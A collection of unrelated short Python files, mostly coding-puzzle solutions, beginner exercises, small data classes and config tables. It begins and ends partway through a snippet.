Cambia el precio diario del alquiler. :param new_price: El nuevo precio del alquiler. :type new_price: float """ cls.daily_rental_price = new_price
# A Bubble class class Bubble(object): # Create the Bubble def __init__(self, x, y, diameter, name): self.x = x self.y = y self.diameter = diameter self.name = name self.over = False # Checking if mouse is over the Bubble def rollover(self, px, py): d = dist(px, py, self.x, self.y) self.over = d < self.diameter / 2 # Display the Bubble def display(self): stroke(0) strokeWeight(2) noFill() ellipse(self.x, self.y, self.diameter, self.diameter) if self.over: fill(0) textAlign(CENTER) text(self.name, self.x, self.y + self.diameter / 2 + 20)
class Trie(): def __init__(self): self.val = 0 self.next = dict() def __repr__(self): return f'{self.val} {self.next}' def makeTrie(words): trie, r_trie = dict(), dict() for word in words: l = len(word) trie[l], r_trie[l] = trie.get(l, dict()), r_trie.get(l, dict()) trie[l][word[0]] = trie[l].get(word[0], Trie()) r_trie[l][word[-1]] = r_trie[l].get(word[-1], Trie()) cur, cur_r = trie[l][word[0]], r_trie[l][word[-1]] for c, c_r in zip(word[1:], word[::-1][1:]): cur.val += 1 cur_r.val += 1 cur.next[c], cur_r.next[c_r] = cur.next.get(c, Trie()), cur_r.next.get(c_r, Trie()) cur, cur_r = cur.next[c], cur_r.next[c_r] cur.val += 1 cur_r.val += 1 return trie, r_trie def searchTrie(trie, r_trie, query): l = len(query) if query[0] != '?': if trie.get(l) is None: return 0, None return trie[l], False elif query[-1] != '?': if r_trie.get(l) is None: return 0, None return r_trie[l], True else: if trie.get(l) is None: return 0, None return sum(v.val for v in trie[l].values()), None def countWords(query, cur, isReverse): if isReverse is None: return cur if isReverse: query = query[::-1] for q in query: if q == '?': return sum(v.val for v in cur.values()) if cur.get(q) is None: return 0 cur = cur[q].next return 1 def solution(words, queries): trie, r_trie = makeTrie(words) return [countWords(query, *searchTrie(trie, r_trie, query)) for query in queries] #출처: https://dobuzi.tistory.com/6 [Dobuzi's coding]
""" Mixin that just overrides _repr_html. """ class _PrettyPrintMixin: """ A DataFrame with an overridden ``_repr_html_`` and some simple additional methods. """ def _repr_html_(self) -> str: """ Renders HTML for display() in Jupyter notebooks. Jupyter automatically uses this function. Returns: Just a string containing HTML, which will be wrapped in an HTML object """ # noinspection PyProtectedMember return ( f"<strong>{self.__class__.__name__}: {self._dims()}</strong>\n{super()._repr_html_()}" ) def _dims(self) -> str: """ Returns a string describing the dimensionality. Returns: A text description of the dimensions of this DataFrame """ # we could handle multi-level columns # but they're quite rare, and the number of rows is probably obvious when looking at it if len(self.index.names) > 1: return f"{len(self)} rows × {len(self.columns)} columns, {len(self.index.names)} index columns" else: return f"{len(self)} rows × {len(self.columns)} columns" __all__ = ["_PrettyPrintMixin"]
queue = [] visited = [] def bfs(visited, graph, start, target): visited.append(start) queue.append(start) while queue: cur = queue.pop(0) if cur == target: break for child in graph[cur]: if child not in visited: visited.append(child) queue.append(child) else: return None return visited if __name__ == "__main__": # A # B C # D E F G graph = { 'A' : ['B','C'], 'B' : ['D', 'E'], 'C' : ['F', 'G'], 'D' : [], 'E' : ['F'], 'F' : [], 'G' : [] } find = "Q" start = "A" res = bfs(visited, graph, start, find) if res == None: print(f"Can't find node {find} in graph...") else: print(f"Found node {find}, visited: {res}")
# 621. Task Scheduler class Solution: # Greedy def leastInterval(self, tasks: List[str], n: int) -> int: # Maximum possible number of idle slots is defined by the frequency of the most frequent task. freq = [0] * 26 for t in tasks: freq[ord(t) - ord('A')] += 1 freq.sort() max_freq = freq.pop() idle_time = (max_freq - 1) * n while freq and idle_time > 0: idle_time -= min(max_freq - 1, freq.pop()) idle_time = max(0, idle_time) return idle_time + len(tasks)
def ugly1(): q2, q3, q5 = [2], [3], [5] while 1: # print q2, q3, q5 if q2[0] < q3[0] and q2[0] < q5[0]: ret = q2.pop(0) q2.append(ret * 2) q3.append(ret * 3) q5.append(ret * 5) elif q3[0] < q2[0] and q3[0] < q5[0]: ret = q3.pop(0) q3.append(ret * 3) q5.append(ret * 5) else: ret = q5.pop(0) q5.append(ret * 5) yield ret class Solution(object): def __init__(self): self.mzlst = [1] self.mzUgly = ugly1() def nthUglyNumber(self, n): """ :type n: int :rtype: int """ if n < len(self.mzlst): return self.mzlst[n - 1] for i in xrange(len(self.mzlst), n): self.mzlst.append(self.mzUgly.next()) return self.mzlst[n - 1]
class EntityPair(object): """实体对 Atrributes: entity1: WordUnit,实体1的词单元 entity2: WordUnit,实体2的词单元 """ def __init__(self, entity1, entity2): self.entity1 = entity1 self.entity2 = entity2 def get_entity1(self): return self.entity1 def set_entity1(self, entity1): self.entity1 = entity1 def get_entity2(self): return self.entity2 def set_entity2(self, entity2): self.entity2 = entity2 class SentenceUnit(object): """句子单元组成,每行为一个词单元,并获得每个词头部的词单元 Attributes: words: WordUnit list,词单元列表 """ words = None def __init__(self, words): self.words = words for i in range(len(words)): self.words[i].head_word = self.get_word_by_id(self.words[i].head) def get_word_by_id(self, id): """根据id获得词单元word Args: id: int,词单元ID Returns: word: 词单元 """ for word in self.words: if word.ID == id: return word return None def get_head_word(self): """获得整个句子的中心词单元 Returns: head_word: WordUnit,中心词单元 """ for word in self.words: if word.head == 0: return word return None def to_string(self): """将一句中包含的word转成字符串,词单元之间换行 Returns: words_str: str,转换后的字符串 """ words_str = '' for word in self.words: words_str += word.to_string() + '\n' return words_str.rstrip('\n') def get_lemmas(self): """获得句子的分词结果 Returns: lemmas: str,该句子的分词结果 """ lemmas = '' for word in self.words: lemmas += word.lemma + '\t' return lemmas.rstrip('\t') class WordUnit(object): """词单元组成""" # 定义类变量 # 当前词在句子中的序号,1开始 ID = 0 # 当前词语的原型(或标点),就是切分后的一个词 lemma = '' # 当前词语的词性 postag = '' # 当前词语的中心词,及当前词的头部词 head = 0 # 指向词的ID head_word = None # 该中心词单元 # 当前词语与中心词的依存关系 dependency = '' # 每个词都有指向自己的唯一依存 def __init__(self, ID, lemma, postag, head=0, head_word=None, dependency=''): self.ID = ID self.lemma = lemma self.postag = postag self.head = head self.head_word = head_word self.dependency = dependency def get_id(self): return self.ID def set_id(self, ID): self.ID = ID def get_lemma(self): return self.lemma def set_lemma(self, lemma): self.lemma = lemma def get_postag(self): return self.postag def set_postag(self, postag): self.postag = postag def get_head(self): return self.head def set_head(self, head): self.head = head def get_head_word(self): return self.head_word def set_head_word(self, head_word): self.head_word = head_word def get_dependency(self): return self.dependency def set_dependency(self, dependency): self.dependency = dependency def to_string(self): """将word的相关处理结果转成字符串,tab键间隔 Returns: word_str: str,转换后的字符串 """ word_str = '' word_str += (str(self.ID) + '\t' + self.lemma + '\t' + self.postag + '\t' + str(self.head) + '\t' + self.dependency) return word_str class EntityCombine(object): """将分词词性标注后得到的words与netags进行合并""" def combine(self, words, netags): """根据命名实体的B-I-E进行词合并 Args: words: WordUnit list,分词与词性标注后得到的words netags: list,命名实体识别结果 Returns: words_combine: WordUnit list,连接后的结果 """ words_combine = [] # 存储连接后的结果 length = len(netags) n = 1 # 实体计数,从1开始 i = 0 while i < length: if 'B-' in netags[i]: newword = words[i].lemma j = i + 1 while j < length: if 'I-' in netags[j]: newword += words[j].lemma elif 'E-' in netags[j]: newword += words[j].lemma break elif 'O' == netags[j] or (j+1) == length: break j += 1 words_combine.append(WordUnit(n, newword, self.judge_postag(netags[j-1]))) n += 1 i = j else: words[i].ID = n n += 1 words_combine.append(words[i]) i += 1 return self.combine_comm(words_combine) def combine_comm(self, words): """根据词性标注进行普通实体合并 Args: words: WordUnit list,进行命名实体合并后的words Returns: words_combine: WordUnit list,进行普通实体连接后的words """ newword = words[0].lemma # 第一个词,作为新词 words_combine = [] # 存储合并后的结果 n = 1 i = 1 # 当前词ID while i < len(words): word = words[i] # 词合并: (前后词都是实体) and (前后词的词性相同 or 前词 in ["nz", "j"] or 后词 in ["nz", "j"]) if (self.is_entity(word.postag) and self.is_entity(words[i-1].postag) and (word.postag in {'nz', 'j'} or words[i-1].postag in {'nz', 'j'})): newword += word.lemma else: words_combine.append(WordUnit(n, newword, words[i-1].postag)) # 添加上一个词 n += 1 newword = word.lemma # 当前词作为新词 i += 1 # 添加最后一个词 words_combine.append(WordUnit(n, newword, words[len(words)-1].postag)) return words_combine @staticmethod def judge_postag(netag): """根据命名实体识别结果判断该连接实体的词性标注 Args: netag: string,该词的词性标注 Returns: entity_postag: string,判别得到的该连接实体的词性 """ entity_postag = '' if '-Ns' in netag: entity_postag = 'ns' # 地名 elif '-Ni' in netag: entity_postag = 'ni' # 机构名 elif '-Nh' in netag: entity_postag = 'nh' # 人名 return entity_postag @staticmethod def is_entity(netag): """根据词性判断该词是否是候选实体 Args: netag: string,该词的词性标注 Returns: flag: bool, 实体标志,实体(True),非实体(False) """ flag = False # 默认该词标志不为实体 # 地名,机构名,人名,其他名词,缩略词 if netag in {'ns', 'ni', 'nh', 'nz', 'j'}: flag = True return flag if __name__ == '__main__': pass
def fetch_ID(url): ''' Takes a video.dtu.dk link and returns the video ID. TODO: This should make some assertions about the url. ''' return '0_' + url.split('0_')[-1].split('/')[0]
""" __init__.py @Organization: @Author: Ming Zhou @Time: 4/22/21 5:28 PM @Function: """
def sametype(s1: str, s2: str) -> bool: return s1.lower() == s2.lower() def reduct(polymer: str)-> str: did_reduce = True while did_reduce : did_reduce = False for i in range(1, len(polymer)): unit1 = polymer[i-1] unit2 = polymer[i] if sametype(unit1, unit2) and unit1 != unit2: polymer = polymer[:i-1] + polymer[i+1:] did_reduce = True print(len(polymer)) break return polymer TEST_CASE ="dabAcCaCBAcCcaDA" assert reduct(TEST_CASE) == "dabCBAcaDA" with open('data/day05.txt') as f: polymer = f.read().strip() print(reduct(polymer))
def run_model(models, features): # First decision for experiment in ["Invasive v.s. Noninvasive", "Atypia and DCIS v.s. Benign", "DCIS v.s. Atypia"]: pca = models[experiment + " PCA"] if pca is not None: features = pca.transform(features).reshape(1, -1) model = models[experiment + " model"] rst = model.predict(features)[0] if rst: if experiment == "Invasive v.s. Noninvasive": return 4, "Invasive" if experiment == "Atypia and DCIS v.s. Benign": return 1, "Benign" if experiment == "DCIS v.s. Atypia": return 3, "DCIS" raise("programming error! unknown experiment") if experiment == "DCIS v.s. Atypia" and not rst: return 2, "Atypia" raise("programming error 2! Unknown experiment and rst")
class Repository(object): def byLocation(self, locationString): # pragma: no cover """Get the provenance for a file at the given location. In the case of a dicom series, this returns the provenance for the series. Args: locationString (str): Location of the image file. Returns: dict: Provenance for one image file. """ def knowsByLocation(self, locationString): # pragma: no cover """Whether the file at this location has provenance associated with it. Returns: bool: True if provenance is available for that path. """ def knows(self, image): # pragma: no cover """Whether this file has provenance associated with it. Returns: bool: True if provenance is available for this image. """ def getSeries(self, image): # pragma: no cover """Get the object that carries provenance for the series that the image passed is in. Args: image (:class:`.DicomFile`): File that is part of a series. Returns: :class:`.DicomFile`: Image object that caries provenance for the series. """ def knowsSeries(self, image): # pragma: no cover """Whether this file is part of a series for which provenance is available. Args: image (:class:`.BaseFile`): File for which the series is sought. Returns: bool: True if provenance is available for this series. """ def add(self, image): # pragma: no cover """Add the provenance for one file to storage. Args: image (:class:`.BaseFile`): Image file to store. """ def update(self, image): # pragma: no cover """Save changed provenance for this file.. Args: image (:class:`.BaseFile`): Image file that has changed. """ def all(self): # pragma: no cover """Retrieve all known provenance from storage. Returns: list: List of provenance for known files. """ def bySubject(self, subject): # pragma: no cover """Get the provenance for all files of a given participant. Args: subject (str): The name or other ID string. Returns: list: List of provenance for known files imaging this subject. """ def byApproval(self, approvalStatus): # pragma: no cover """""" def updateApproval(self, locationString, approvalStatus): # pragma: no cover """""" def latest(self, n=20): # pragma: no cover """Get the images that have been registered last. Args: n (int): The number of files to retrieve. Defaults to 20. Returns: list: List of BaseFile objects. """ def byId(self, uid): # pragma: no cover """Get the provenance for a file with the given id. Args: uid (str): Unique id for the file. Returns: BaseFile: File with the given id. """ def byLocations(self, listOfLocations): # pragma: no cover """Get any files that match one of these locations In the case of a dicom series, this returns the provenance for the series. Args: listOfLocations (list): List of image locations. Returns: list: List with BaseFile objects """
""" --- Day 20: Firewall Rules --- You'd like to set up a small hidden computer here so you can use it to get back into the network later. However, the corporate firewall only allows communication with certain external IP addresses. You've retrieved the list of blocked IPs from the firewall, but the list seems to be messy and poorly maintained, and it's not clear which IPs are allowed. Also, rather than being written in dot-decimal notation, they are written as plain 32-bit integers, which can have any value from 0 through 4294967295, inclusive. For example, suppose only the values 0 through 9 were valid, and that you retrieved the following blacklist: 5-8 0-2 4-7 The blacklist specifies ranges of IPs (inclusive of both the start and end value) that are not allowed. Then, the only IPs that this firewall allows are 3 and 9, since those are the only numbers not in any range. Given the list of blocked IPs you retrieved from the firewall (your puzzle input), what is the lowest-valued IP that is not blocked? Your puzzle answer was 23923783. --- Part Two --- How many IPs are allowed by the blacklist? Your puzzle answer was 125. Both parts of this puzzle are complete! They provide two gold stars: ** """ class Range: def __init__(self, start, end): self.start = start self.end = end def overlaps(self, other): if self == other: return False starts = (self.start, other.start) ends = (self.end, other.end) return min(starts) <= max(starts) <= min(ends) <= max(ends) or min(ends) == max(starts) - 1 def merge(self, other): all_values = (self.start, other.start, self.end, other.end) return Range(min(all_values), max(all_values)) def __eq__(self, other): if isinstance(other, self.__class__): return self.start == other.start and self.end == other.end return False def __hash__(self): return hash((self.start, self.end)) @staticmethod def parse(str_): start, end = str_.split("-") start, end = int(start), int(end) if end < start: raise ValueError(f"{end} can not be greater than {start}") return Range(start, end) def merge_ranges(ranges): def any_overlaps(ranges_): return any( r1.overlaps(r2) for r1 in ranges_ for r2 in ranges_) result = set(ranges) while any_overlaps(result): tmp_result = set() for r1 in result: for r2 in result: if r1.overlaps(r2): tmp_result.add(r1.merge(r2)) break else: tmp_result.add(r1) result = tmp_result return result def find_first_free_ip(ranges): return min(ranges, key=lambda r: r.end).end + 1 def find_number_of_free_ips(ranges, total_available): ranges = list(sorted(ranges, key=lambda r: r.end)) sum = 0 for idx in range(len(ranges) - 1): r1 = ranges[idx] r2 = ranges[idx + 1] sum += r2.start - r1.end - 1 sum += total_available - ranges[-1].end return sum if __name__ == "__main__": with open("20_firewall_rules.txt") as file: ranges = merge_ranges([ Range.parse(l.strip()) for l in file.readlines() ]) print(f"part 1: {find_first_free_ip(ranges)}") print(f"part 2: {find_number_of_free_ips(ranges, 4_294_967_295)}")
# Get the starting fibonacci numbers start1 = int(input("First fibonacci number: ")) start2 = int(input("Second fibonacci number: ")) # New line print("") fibonacci = [start1, start2] for i in range(2, 102): current_fibonacci = fibonacci[i - 1] + fibonacci[i - 2] fibonacci.append(current_fibonacci) # Print all fibonacci numbers for val in fibonacci: print(val) input("\r\nPress enter to continue...")
def clarify_yayun(): with open("字表拼音.txt", "r", encoding="utf-8") as f: lines = f.readlines() zhengti = ["hi", "ri", "zi", "ci", "si"] # 整体认读音节的后两个字母 u_to_v = ["yu", "xu", "qu"] # 读作v写作u for line in lines: c = line[0] # _i指末尾i个字母组成的韵母 _1 = line[-2] _2 = line[-3: -1] _3 = line[-4: -1] if _1 == "a": yun_mu[1].append(c) elif _2 == "ai": yun_mu[2].append(c) elif _2 == "an": yun_mu[3].append(c) elif _3 == "ang": yun_mu[4].append(c) elif _2 == "ao": yun_mu[5].append(c) elif _1 == "o" or (_1 == "e" and _2 != "ie" and _2 != "ye" and _2 != "ue"): yun_mu[6].append(c) elif _2 == "ei" or _2 == "ui": yun_mu[7].append(c) elif _2 == "en" or _2 == "in" or _2 == "un": yun_mu[8].append(c) elif _3 == "eng" or _3 == "ing" or _3 == "ong": yun_mu[9].append(c) elif (_1 == "i" and _2 not in zhengti) or _2 == "er": yun_mu[10].append(c) elif _1 == "i" and _2 in zhengti: yun_mu[11].append(c) elif _2 == "ie" or _2 == "ye": yun_mu[12].append(c) elif _2 == "ou" or _2 == "iu": yun_mu[13].append(c) elif _1 == "u" and _2 not in u_to_v: yun_mu[14].append(c) elif _1 == "v" or _2 in u_to_v: yun_mu[15].append(c) elif _2 == "ue": yun_mu[16].append(c) sum = 0 for lst in yun_mu.values(): sum += len(lst) '''def output(): with open("押韵分类结果.txt", "w", encoding="utf-8") as file: for i in range(1, 17): file.write(str(i)) file.write(": ") for c in yun_mu[i]: file.write(c) file.write(" ") file.write("\n")''' # def get_yun(c): # 返回所属韵的类别 for i in range(1, 17): if c in yun_mu[i]: return i return 0 yun_mu = {i: [] for i in range(1, 17)} # 韵母 clarify_yayun() if __name__ == "__main__": clarify_yayun() # output()
m = 'John Smithfather' a = m[:-6] b = m[-6:] print(b.title() + ": " + a) print('AsDf'.lower(), 'AsDf'.upper())
num=int(input("Enter number:")) if (num > 0): print(num,"is a positive number") else: print(num,"is not a positive number")
print('-=-' * 25) print('BEM-VINDO AO SEU EMPRÉSTIMO, PARA INICIAR SIGA AS INTRUÇÕES ABAIXO!') print('-=-' * 25) salario = float(input('Qual é o seu salario atual? R$')) casa = float(input('Qual é o valo do imóvel que pretende compar? R$')) anos = int(input('Em quantos anos pretende financiar a casa? ')) fina = casa / (anos * 12) minimo = salario * 30 / 100 print('Para para um imóvel de R${:.2f} em {} ano(s), a prestação e será de R${:.2f}.'.format(casa, anos, fina)) if fina <= minimo: print('Empréstimo pode ser CONCEDIDO!') else: print('Empréstimo NEGADO!')
class _DoubleLinkedBase: class _Node: __slots__ = '_element', '_prev', '_next' def __init__(self, element, prev, next): self._element = element self._prev = prev self._next = next def __init__(self): self._header = self._Node(None, None, None) self._tailer = self._Node(None, None, None) self._header._next = self._tailer self._tailer._prev = self._header self._size = 0 def insert_between(self, e, prev, next): node = self._Node(e, prev, next) prev._next = node next._prev = node self._size += 1 return node def delete(self, node): node._prev._next = node._next node._next._prev = node._prev self._size -= 1 return node._element class PositionalList(_DoubleLinkedBase): class Position: def __init__(self, container, node): self._container = container self._node = node def element(self): return self._node._element def __eq__(self, other): return type(other) is type(self) and other._node is self._node def __ne__(self, other): return not (self == other) def _make_position(self, p): return self.Position(self, p)
expected_output = { "tag": { "VRF1": { "hostname_db": { "hostname": { "7777.77ff.eeee": {"hostname": "R7", "level": 2}, "2222.22ff.4444": {"hostname": "R2", "local_router": True}, } } }, "test": { "hostname_db": { "hostname": { "9999.99ff.3333": {"hostname": "R9", "level": 2}, "8888.88ff.1111": {"hostname": "R8", "level": 2}, "7777.77ff.eeee": {"hostname": "R7", "level": 2}, "5555.55ff.aaaa": {"hostname": "R5", "level": 2}, "3333.33ff.6666": {"hostname": "R3", "level": 2}, "1111.11ff.2222": {"hostname": "R1", "level": 1}, "2222.22ff.4444": {"hostname": "R2", "local_router": True}, } } }, } }
def add_binary(a, b): """ Implement a function that adds two numbers together and returns their sum in binary. The conversion can be done before, or after the addition. The binary number returned should be a string. """ return str(bin(a+b)[2:]) # TESTS assert add_binary(1, 1) == "10" assert add_binary(0, 1) == "1" assert add_binary(1, 0) == "1" assert add_binary(2, 2) == "100" assert add_binary(51, 12) == "111111"
RUN_CREATE_DATA = { "root_name": "agent", "agent_name": "agent", "component_spec": { "components": { "agent==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "SB3PPOAgent", "dependencies": { "environment": ( "environment==" "f39000a113abf6d7fcd93f2eaabce4cab8873fb0" ), "tracker": ( "tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0" ), }, "file_path": "example_agents/sb3_agent/agent.py", "repo": "sb3_agent_dir", }, "environment==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "CartPole", "dependencies": {}, "file_path": "example_agents/sb3_agent/environment.py", "repo": "sb3_agent_dir", }, "tracker==f39000a113abf6d7fcd93f2eaabce4cab8873fb0": { "class_name": "SB3Tracker", "dependencies": {}, "file_path": "example_agents/sb3_agent/tracker.py", "repo": "sb3_agent_dir", }, }, "repos": { "sb3_agent_dir": { "type": "github", "url": "https://github.com/nickjalbert/agentos.git", } }, }, "entry_point": "evaluate", "environment_name": "environment", "metrics": { "episode_count": 10.0, "max_reward": 501.0, "mean_reward": 501.0, "median_reward": 501.0, "min_reward": 501.0, "step_count": 5010.0, "training_episode_count": 356.0, "training_step_count": 53248.0, }, "parameter_set": {"agent": {"evaluate": {"n_eval_episodes": "10"}}}, }
#from pydrive_functions import write_trees_csvs """ write_trees_csvs() df = get_trees_dataframes() df2 = get_image_ids(df, ids_file.images_ids) df2.to_csv('result.csv') """
def calculateSeat(line, numRows, numColumns): def getSeatParameter(line, up, down, currentCharNum, numChars, minValue, maxValue): if line[currentCharNum] == up: if currentCharNum == numChars: return maxValue currentCharNum += 1 return getSeatParameter(line, up, down, currentCharNum, numChars, (minValue + maxValue) // 2 + 1, maxValue) elif line[currentCharNum] == down: if currentCharNum == numChars: return minValue currentCharNum += 1 return getSeatParameter(line, up, down, currentCharNum, numChars, minValue, (minValue + maxValue) // 2) return getSeatParameter(line, "B", "F", 0, numRows - 1, 0, 2 ** numRows - 1) * (numRows + 1) + getSeatParameter(line, "R", "L", numRows, numRows + numColumns - 1, 0, 2 ** numColumns - 1) def part1(input): max = 0 for line in input: seat = calculateSeat(line, 7, 3) if seat > max: max = seat return max def part2(input): places = [] for line in input: places.append(calculateSeat(line, 7, 3)) places.sort() for i in range(len(places) - 1): if places[i] + 2 == places[i + 1]: return places[i] + 1 f = open("input.txt", "r") input = f.read().splitlines() print(part1(input)) #890 print(part2(input)) #651 f.close()
nome = str(input('Digite o seu nome completo:\n')) lista = nome.split() print('Seu primeiro nome é:\n {}'.format(lista[0])) print('Seu último nome é:\n {}'.format(lista[-1]))
#Ex 1041 Coordenadas de um ponto 10/04/2020 x, y = map(float, input().split()) if x > 0 and y > 0: print('Q1') elif x < 0 and y > 0: print('Q2') if x > 0 and y < 0: print('Q4') elif x < 0 and y < 0: print('Q3') elif x == 0 and y == 0: print('Origem')
N = 10 I = 60 CROSSBAR_FEEDBACK_DELAY = 75e-12 CROSSBAR_INPUT_DELAY = 95e-12
def howdoyoudo(): global helvar if helvar <= 2: i01.mouth.speak("I'm fine thank you") helvar += 1 elif helvar == 3: i01.mouth.speak("you have already said that at least twice") i01.moveArm("left",43,88,22,10) i01.moveArm("right",20,90,30,10) i01.moveHand("left",0,0,0,0,0,119) i01.moveHand("right",0,0,0,0,0,119) sleep(2) relax() helvar += 1 elif helvar == 4: i01.mouth.speak("what is your problem stop saying how do you do all the time") i01.moveArm("left",30,83,22,10) i01.moveArm("right",40,85,30,10) i01.moveHand("left",130,180,180,180,180,119) i01.moveHand("right",130,180,180,180,180,119) sleep(2) relax() helvar += 1 elif helvar == 5: i01.mouth.speak("i will ignore you if you say how do you do one more time") unhappy() sleep(4) relax() helvar += 1
# flake8: noqa # fmt: off """List of Valorant API available regions and endpoints.""" REGION_URL = { "BR": "https://br.api.riotgames.com", "EUN": "https://eun.api.riotgames.com", "AP": "https://ap.api.riotgames.com", "KR": "https://kr.api.riotgames.com", "LATAM": "https://latam.api.riotgames.com", "NA": "https://na.api.riotgames.com", } API_PATH = { "platform_data": "{region_url}/val/status/v1/platform-data", "contents": "{region_url}/val/status/v1/contents", }
num = list() pares = list() impares = list() while True: num.append(int(input('Digite um número: '))) resp = str(input('Quer continuar? [S/N] ')) if resp in 'Nn': break for i, v in enumerate(num): if v % 2 == 0: pares.append(v) elif v % 2 == 1: impares.append(v) print('=' * 30) print('A lista completa é {}'.format(num)) print('A lista de pares é {}'.format(pares)) print('A lista de ímpares é {}'.format(impares)) print('=' * 30)
levelsMap = [ #level 1-1 ("g1","f1",[["ma1","ma3","ma5","b1","m1","e1","m1","b1","ma1","ma3","ma5"], ["ma2","ma4","ma6","b1","b1","b1","b1","b1","ma2","ma4","ma6"], ["b1","b1","b1","m1","b1","m1","b1","m1","b1","b1","b1"], ["m1","b1","b1","b1","b1","b1","b1","b1","b1","b1","m1"], ["b1","b1","m1","b1","ma1","ma3","ma5","b1","m1","b1","b1"], ["b1","b1","m1","b1","ma2","ma4","ma6","p1","m1","b1","b1"], ["m1","b1","b1","b1","b1","b1","b1","b1","b1","b1","m1"], ["b1","b1","b1","m1","b1","m1","b1","m1","b1","b1","b1"], ["ma1","ma3","ma5","b1","b1","b1","b1","b1","ma1","ma3","ma5"], ["ma2","ma4","ma6","b1","m1","e1","m1","b1","ma2","ma4","ma6"]]), #level 1-2 ("g1","f1",[["e1","b1","b1","b1","m1","b1","m1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"], ["m1","m1","b1","m1","b1","m1","b1","m1","b1","m1","m1"], ["m1","m1","b1","m1","b1","m1","p1","m1","b1","m1","m1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","m1","m1","b1","m1","b1","m1","b1","m1","m1","b1"], ["b1","b1","b1","b1","m1","b1","m1","b1","b1","b1","e1"]]), #level 1-3 ("g1","f1",[["b1","b1","b1","m1","b1","m1","b1","m1","b1","m1","b1"], ["b1","m1","e1","b1","b1","b1","b1","b1","b1","m1","b1"], ["b1","m1","b1","m1","b1","m1","b1","ma1","ma3","ma5","b1"], ["b1","ma1","ma3","ma5","b1","b1","b1","ma2","ma4","ma6","b1"], ["b1","ma2","ma4","ma6","b1","m1","p1","b1","b1","b1","b1"], ["b1","b1","b1","b1","b1","b1","m1","b1","m1","m1","b1"], ["b1","m1","e1","m1","b1","m1","b1","b1","b1","e1","m1"], ["b1","b1","m1","b1","m1","b1","b1","b1","b1","b1","b1"], ["b1","m1","m1","b1","m1","b1","ma1","ma3","ma5","b1","b1"], ["b1","m1","m1","b1","m1","b1","ma2","ma4","ma6","b1","m1"], ["b1","b1","b1","b1","b1","b1","b1","b1","b1","b1","b1"]]), #level 2-1 ("g1","f2",[["e1","b2","b2","b2","b2","b2","b2","b2","b2","b2","e1"], ["b2","b2","b2","b2","m2","b2","b2","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","b2","m2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","b2","b2","b2","mb2","mb4","mb6"], ["b2","m2","b2","b2","mb1","mb3","mb5","b2","b2","m2","m2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","m2","b2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","b2","b2","b2","mb2","mb4","mb6"], ["b2","b2","m2","b2","b2","b2","b2","m2","b2","b2","b2"], ["e1","b2","b2","b2","b2","p1","b2","b2","b2","b2","e1"]]), #level 2-2 ("g1","f2",[["e1","m2","m2","b2","m2","p1","m2","b2","m2","m2","b2"], ["b2","b2","b2","b2","b2","b2","b2","b2","b2","b2","b2"], ["m2","m2","b2","m2","m2","b2","m2","m2","e1","m2","m2"], ["b2","b2","b2","b2","b2","m2","b2","b2","b2","b2","b2"], ["b2","m2","m2","b2","m2","m2","b2","m2","m2","b2","m2"], ["e1","m2","b2","b2","b2","b2","b2","b2","b2","b2","b2"], ["m2","b2","m2","m2","b2","m2","m2","b2","m2","m2","b2"], ["b2","b2","b2","b2","b2","b2","m2","b2","b2","m2","b2"], ["m2","m2","b2","m2","m2","b2","m2","m2","b2","m2","m2"], ["e1","b2","b2","m2","b2","b2","e1","m2","b2","b2","e1"]]), #level 2-3 ("g1","f2",[["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","e1","b2","b2","mb2","mb4","mb6","b2","b2","e1","b2"], ["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["mb1","mb3","mb5","b2","b2","b2","b2","b2","mb1","mb3","mb5"], ["mb2","mb4","mb6","b2","b2","p1","b2","b2","mb2","mb4","mb6"], ["b2","b2","b2","b2","mb1","mb3","mb5","b2","b2","b2","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"], ["b2","e1","b2","b2","mb1","mb3","mb5","b2","b2","e1","b2"], ["b2","b2","b2","b2","mb2","mb4","mb6","b2","b2","b2","b2"]]), #level 3-1 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","e1","m5","b3","m3","m3","v","v"], ["v","m3","b3","m5","b3","b3","b3","b3","b3","m3","v"], ["v","m3","b3","b3","b3","m5","b3","m5","b3","m3","v"], ["m3","m5","b3","m5","b3","p1","b3","m5","b3","b3","m3"], ["m3","b3","b3","m5","b3","m5","b3","m5","m5","e1","m3"], ["v","m3","m5","b3","m5","b3","b3","b3","b3","m3","v"], ["v","m3","e1","b3","b3","m5","b3","m5","b3","m3","v"], ["v","v","m3","m3","b3","b3","b3","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]]), #level 3-2 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","b3","e1","b3","m3","m3","v","v"], ["v","m3","b3","b3","b3","m5","b3","b3","b3","m3","v"], ["v","m3","b3","m5","m5","m5","m5","m5","b3","m3","v"], ["m3","e1","b3","b3","m5","p1","b3","b3","b3","e1","m3"], ["m3","e1","b3","b3","b3","b3","m5","b3","b3","e1","m3"], ["v","m3","b3","m5","m5","m5","m5","m5","b3","m3","v"], ["v","m3","b3","b3","b3","m5","b3","b3","b3","m3","v"], ["v","v","m3","m3","b3","e1","b3","m3","m3","v","v"], ["v","v","v","v","m3","m3","m3","v","v","v","v"]]), #level 3-3 ("g1","f33",[["v","v","v","v","m3","m3","m3","v","v","v","v"], ["v","v","m3","m3","m5","e1","b3","m3","m3","v","v"], ["v","m3","e1","b3","b3","m5","b3","b3","e1","m3","v"], 